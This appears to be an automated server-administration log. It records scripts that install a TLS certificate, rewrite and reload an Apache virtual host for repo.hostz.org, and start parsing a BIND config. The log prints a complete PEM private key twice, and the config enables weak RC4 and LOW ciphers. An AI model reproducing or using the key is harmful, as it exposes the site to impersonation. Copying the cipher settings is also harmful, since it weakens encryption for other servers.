8wN2JoMQ7o78CMPrgPq4lgttbOxLdgg9tmGJxhEJAXYCVoM7APsM7Oq8/jirQyTR
vjyz/eiKeK3mDbTxcsO/G5m35tWCKp6Lac8s59YXCQKBgQDMlNb+MVLBMUIqNMeM
tAqAOsYinABBUsAuyl1vOZL59grmpu26zMOFSXTmBIz1/3yUm3IHmqQUozEHxC2U
d7Uf/Aj/IDeV7OTyejgbfp328C8Lckyf0/Y0Jl5O+KbxNel503z/WRm8eLdRD0nY
bL98fcTZolgR9lu3FY/y200nrwKBgQDG9BSUVGE+Cx455P7Bzo5VQ570kNm3Gq15
lQ222oKtpffP2TbmxDjsmzXGALqQBjQ6VbV8ot/FIsfMfcyRFhuSKxnv/mXxttQu
1VdQ6QtioNSRCd/aXfxP6AYULnmoiyUljvJ3eF8QlJN97i/5COwReVsTW1S8tw6l
f+bBdafK5QKBgQC6sc1tFVfe4/PsjlPYrGi00m4EIXb+JeUqDhSsLs9Y+tbB3G4w
PTLkjL94NYjp6WgoOZ8bH11DVBWnb7jkt0V8VcVkBWOUlyXrves79BV1x4Q3Huyc
IpOYzbbcvH+kuj1BpuV4JTieTU+FUr1iGwO4ORIORd+3LKpP7wZ5avYDEwKBgH9V
jqpUyxwjj4fsWWT/Z7eInP7Yio+XonnTfUCP3912AQJleq793ZUJzcPZiY5OejTv
0EViFSgeF5R422nspV7K+UHSJ7spkeobn1Poo+HPH91oXX5scuVNkj5udGz8CZ1d
PTBbuTRqc2/A97FDFZwleLYN2VEjNFuWXcFqJSdFAoGBAIzoWFA7X7Zt8b1ZfuGi
q888koYftAwRt4fo63/j1li/SVQXSD/7IPC7IDLqGvR/x7Sev3hi8KsT4VgL7tJJ
IShlke3GUliwJuY4I9t2tMhmuyxNpEUiSDzxK9nYhB4DGAzs4+9+JI/l3GCJTsk6
K0eBVSTXVJA0WMnN8pen+Vwl
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-12-20 06:00:20: 

chmod 755 /tmp/pkp965051; /tmp/pkp965051; rm /tmp/pkp965051

2025-12-20 06:00:20: 


dir=/etc/pki/tls/certs/


2025-12-20 06:00:20: 

PUT: /tmp/pkp656863

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/httpd
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/httpd/conf.d/hostz_repo_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-12-20 06:00:21: 

chmod 755 /tmp/pkp656863; /tmp/pkp656863; rm /tmp/pkp656863

2025-12-20 06:00:21: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/httpd/conf.d/hostz_repo_org.conf 1840

<VirtualHost *:80>
    ServerName	repo.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_repo
    <Directory /var/www/hostz_repo>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
    </Directory>
    
    CustomLog	/var/log/httpd/hostz/repo_access.log combined
    ErrorLog	/var/log/httpd/hostz/repo_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	repo.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/pki/tls/certs//39a67d98dbcb59994bb5bd629687cb8e.crt
    DocumentRoot	/var/www/hostz_repo
    <Directory /var/www/hostz_repo>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
    </Directory>
    
    CustomLog	/var/log/httpd/hostz/repo_secure_access.log combined
    ErrorLog	/var/log/httpd/hostz/repo_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-12-20 06:00:21: 

PUT: /tmp/pkp886993

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/httpd
BASENAME=hostz_repo_org.conf
TARGET=/etc/httpd/conf.d/hostz_repo_org.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	repo.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_repo
    <Directory /var/www/hostz_repo>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
    </Directory>
    
    CustomLog	/var/log/httpd/hostz/repo_access.log combined
    ErrorLog	/var/log/httpd/hostz/repo_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	repo.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/pki/tls/certs//39a67d98dbcb59994bb5bd629687cb8e.crt
    DocumentRoot	/var/www/hostz_repo
    <Directory /var/www/hostz_repo>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
    </Directory>
    
    CustomLog	/var/log/httpd/hostz/repo_secure_access.log combined
    ErrorLog	/var/log/httpd/hostz/repo_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/httpd/conf.d/hostz_repo_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/httpd/sites-enabled/hostz_repo_org.conf)= /etc/httpd//etc/httpd/conf.d/hostz_repo_org.conf'
	echo 'file(/etc/httpd//etc/httpd/conf.d/hostz_repo_org.conf= 1'
fi


2025-12-20 06:00:22: 

chmod 755 /tmp/pkp886993; /tmp/pkp886993; rm /tmp/pkp886993

2025-12-20 06:00:22: 




2025-12-20 06:00:22: 

PUT: /tmp/pkp374511

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-12-20 06:00:23: 

chmod 755 /tmp/pkp374511; /tmp/pkp374511; rm /tmp/pkp374511

2025-12-20 06:00:23: 


.


2025-12-20 06:00:23: Establishing a connection
2025-12-20 06:00:24: 

PUT: /tmp/pkp198317

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-12-20 06:00:26: 

chmod 755 /tmp/pkp198317; /tmp/pkp198317; rm /tmp/pkp198317

2025-12-20 06:00:26: 


[Sat Dec 20 06:00:26.318704 2025] [so:warn] [pid 1761469:tid 140381861198144] AH01574: module status_module is already loaded, skipping
VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:1)
         port 80 namevhost messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:1)
         port 80 namevhost repo.hostz.org (/etc/httpd/conf.d/hostz_repo_org.conf:2)
         port 80 namevhost voip.patientapps.net (/etc/httpd/conf.d/patientapps.conf:1)
         port 80 namevhost zoomchat.net (/etc/httpd/conf.d/zoomchat_www_net.conf:2)
         port 80 namevhost zoomchat.online (/etc/httpd/conf.d/zoomchat_www_online.conf:2)
                 alias www.zoomchat.online
*:443                  is a NameVirtualHost
         default server messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:26)
         port 443 namevhost messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:26)
         port 443 namevhost repo.hostz.org (/etc/httpd/conf.d/hostz_repo_org.conf:29)
         port 443 namevhost messier.pjy.us (/etc/httpd/conf.d/ssl.conf:40)
         port 443 namevhost zoomchat.net (/etc/httpd/conf.d/zoomchat_www_net.conf:31)
         port 443 namevhost zoomchat.online (/etc/httpd/conf.d/zoomchat_www_online.conf:30)
                 alias www.zoomchat.online
ServerRoot: "/etc/httpd"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/etc/httpd/logs/error_log"
Mutex authdigest-opaque: using_defaults
Mutex watchdog-callback: using_defaults
Mutex proxy-balancer-shm: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex authdigest-client: using_defaults
Mutex lua-ivm-shm: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex authn-socache: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/etc/httpd/run/" mechanism=default 
Mutex cache-socache: using_defaults
PidFile: "/etc/httpd/run/httpd.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="asterisk" id=1000
Group: name="asterisk" id=1000
.




STDERR:
[Sat Dec 20 06:00:26.318704 2025] [so:warn] [pid 1761469:tid 140381861198144] AH01574: module status_module is already loaded, skipping


2025-12-20 06:00:26: 

PUT: /tmp/pkp295355

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/httpd/conf.d/hostz_repo_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-20 06:00:27: 

chmod 755 /tmp/pkp295355; /tmp/pkp295355; rm /tmp/pkp295355

2025-12-20 06:00:27: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/httpd/conf.d/hostz_repo_org.conf	1840

<VirtualHost *:80>
    ServerName	repo.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_repo
    <Directory /var/www/hostz_repo>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
    </Directory>
    
    CustomLog	/var/log/httpd/hostz/repo_access.log combined
    ErrorLog	/var/log/httpd/hostz/repo_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	repo.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/pki/tls/certs//39a67d98dbcb59994bb5bd629687cb8e.crt
    DocumentRoot	/var/www/hostz_repo
    <Directory /var/www/hostz_repo>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
    </Directory>
    
    CustomLog	/var/log/httpd/hostz/repo_secure_access.log combined
    ErrorLog	/var/log/httpd/hostz/repo_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-12-20 06:00:27: 

PUT: /tmp/pkp565296

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/pki/tls/certs//39a67d98dbcb59994bb5bd629687cb8e.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-20 06:00:27: 

chmod 755 /tmp/pkp565296; /tmp/pkp565296; rm /tmp/pkp565296

2025-12-20 06:00:28: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/pki/tls/certs//39a67d98dbcb59994bb5bd629687cb8e.crt	5348
0c:8e:b6:5c:da:24:34:95:1d:53:27:6e:c4:b7:fe:79

-----BEGIN CERTIFICATE-----
MIIE+TCCA+GgAwIBAgISBZbJia8a9BItY8jhAHSK5OR9MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjIwMDUwMTQ1WhcNMjYwMzIwMDUwMTQ0WjAZMRcwFQYDVQQD
Ew5yZXBvLmhvc3R6Lm9yZzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
AJ7+LJeus7ehBC2YpYatRlTnSwOc5KqaqtaNV/Z2nf5e/9Om7uPnTgOoVJiulgfP
U9gW9RCx3A2M/ygOUVxOrxkP9vSMcmQnWF0JYU1rdjv+ItnC2oKyKddZOFkpVskD
wAoFkyJVKXnYn+HSmNAY9uQo/h5MSgqPcNQV75iq68uO/GGqhdfhulJN85pz1bii
ymwuB7PY63UAHJZyYgxpCBEeXYsYJc7nBZAU+CFGaw7jTWPwYf8vwMbZqijitMeK
yttnyQql6BG+Tb3fQYAIJ3PZSns6J/1KAtxXmvtOimt4BpKnXt/LgmagTs5A81Pg
EDFRPBKieonn0Sncr+t9lYsCAwEAAaOCAh8wggIbMA4GA1UdDwEB/wQEAwIFoDAd
BgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAdBgNV
HQ4EFgQU3CCG6yF+zxi3aF6sMDJSI5id3qswHwYDVR0jBBgwFoAU56ufDywzoFPT
Xk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8v
cjEzLmkubGVuY3Iub3JnLzAZBgNVHREEEjAQgg5yZXBvLmhvc3R6Lm9yZzATBgNV
HSAEDDAKMAgGBmeBDAECATAvBgNVHR8EKDAmMCSgIqAghh5odHRwOi8vcjEzLmMu
bGVuY3Iub3JnLzEyNi5jcmwwggEEBgorBgEEAdZ5AgQCBIH1BIHyAPAAdgDLOPcV
iXyEoURfW8Hd+8lu8ppZzUcKaQWFsMsUwxRY5wAAAZs6WCsPAAAEAwBHMEUCIH0f
WsRSPlbh9QwOv5tNpYz94WQW5GVyO7ECj2EvuY29AiEA6ZxaGX7obsFPHeNv7i8z
3PLCLLKSMBzLOhE5qDuVpYgAdgDRbqmlaAd+ZjWgPzel3bwDpTxBEhTUiBj16TGz
I8uVBAAAAZs6WCvgAAAEAwBHMEUCIQDeGPscBRaqxICcTiYEQfq086Pruu5e83eb
mNc/SxTDRAIgY+fuKfP4ZPBuoxRgOcZhMhXy4UfgxQOXM1P0BWqeAXYwDQYJKoZI
hvcNAQELBQADggEBAHPF2Fx+0XMpZ5Gn3sNzw77qeDGSpA8EWApy7ZYdO6YH3s6q
eJMDZDnyzzhzYkwXv7jgNISSlM/6v5fzMJgjH3utG1WX6ZddXGTizn8m4/ymIbfu
QNhwqCxuwVzPWc4A4MYNfGyWURpMwksAkWzAbRtzlcYo4hDPkgXnAhHmbxCRyTqp
1NuYA8c8ebfsI+4NiYoKbiATe4raVvSn0tLz46m++RY2xauiWFQlMGeC3AnXchwW
RG2nq5USHOHCH+bcMj2lolAGvo9kz+YKDge+lAV+0oV4Y7Oei+NBoe7xpQp90I5g
UE/nQpRMawrib5MrQzJ00dMmWnm3+1akxpAkjAQ=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCe/iyXrrO3oQQt
mKWGrUZU50sDnOSqmqrWjVf2dp3+Xv/Tpu7j504DqFSYrpYHz1PYFvUQsdwNjP8o
DlFcTq8ZD/b0jHJkJ1hdCWFNa3Y7/iLZwtqCsinXWThZKVbJA8AKBZMiVSl52J/h
0pjQGPbkKP4eTEoKj3DUFe+YquvLjvxhqoXX4bpSTfOac9W4ospsLgez2Ot1AByW
cmIMaQgRHl2LGCXO5wWQFPghRmsO401j8GH/L8DG2aoo4rTHisrbZ8kKpegRvk29
30GACCdz2Up7Oif9SgLcV5r7TopreAaSp17fy4JmoE7OQPNT4BAxUTwSonqJ59Ep
3K/rfZWLAgMBAAECggEAMiXbbNBWsSGhTrxp4SvAFkGJwI749PKp1dhpGTzaooPW
TyzFBq9LRQ4P+MSAX+A+Atdi3qwqyz9gr4KsmN/cjJwjeYje/8YFMfsmbKPrfAqx
dVvnTffiCKGEi2Llk6uSI9cUTGzuExeHflPNjT2Cif6AAJBxfhk2Lj7o/o9SpjZp
DoxT9OSlsMnoTF7vWdUUIvgRHZNGlmnULBMlEDNEJkvdiS+700es4hE6Bk6EcT0y
8wN2JoMQ7o78CMPrgPq4lgttbOxLdgg9tmGJxhEJAXYCVoM7APsM7Oq8/jirQyTR
vjyz/eiKeK3mDbTxcsO/G5m35tWCKp6Lac8s59YXCQKBgQDMlNb+MVLBMUIqNMeM
tAqAOsYinABBUsAuyl1vOZL59grmpu26zMOFSXTmBIz1/3yUm3IHmqQUozEHxC2U
d7Uf/Aj/IDeV7OTyejgbfp328C8Lckyf0/Y0Jl5O+KbxNel503z/WRm8eLdRD0nY
bL98fcTZolgR9lu3FY/y200nrwKBgQDG9BSUVGE+Cx455P7Bzo5VQ570kNm3Gq15
lQ222oKtpffP2TbmxDjsmzXGALqQBjQ6VbV8ot/FIsfMfcyRFhuSKxnv/mXxttQu
1VdQ6QtioNSRCd/aXfxP6AYULnmoiyUljvJ3eF8QlJN97i/5COwReVsTW1S8tw6l
f+bBdafK5QKBgQC6sc1tFVfe4/PsjlPYrGi00m4EIXb+JeUqDhSsLs9Y+tbB3G4w
PTLkjL94NYjp6WgoOZ8bH11DVBWnb7jkt0V8VcVkBWOUlyXrves79BV1x4Q3Huyc
IpOYzbbcvH+kuj1BpuV4JTieTU+FUr1iGwO4ORIORd+3LKpP7wZ5avYDEwKBgH9V
jqpUyxwjj4fsWWT/Z7eInP7Yio+XonnTfUCP3912AQJleq793ZUJzcPZiY5OejTv
0EViFSgeF5R422nspV7K+UHSJ7spkeobn1Poo+HPH91oXX5scuVNkj5udGz8CZ1d
PTBbuTRqc2/A97FDFZwleLYN2VEjNFuWXcFqJSdFAoGBAIzoWFA7X7Zt8b1ZfuGi
q888koYftAwRt4fo63/j1li/SVQXSD/7IPC7IDLqGvR/x7Sev3hi8KsT4VgL7tJJ
IShlke3GUliwJuY4I9t2tMhmuyxNpEUiSDzxK9nYhB4DGAzs4+9+JI/l3GCJTsk6
K0eBVSTXVJA0WMnN8pen+Vwl
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2025-12-20 06:00:28: Establishing a connection
2025-12-20 06:00:29: Establishing a connection
2025-12-20 06:00:30: 

PUT: /tmp/pkp493655

#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-12-20 06:00:31: 

chmod 755 /tmp/pkp493655; /tmp/pkp493655; rm /tmp/pkp493655

2025-12-20 06:00:31: 


0


2025-12-20 10:28:45: Establishing a connection
2025-12-20 10:28:54: Establishing a connection
2025-12-20 10:28:54: 

PUT: /tmp/pkp558046

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
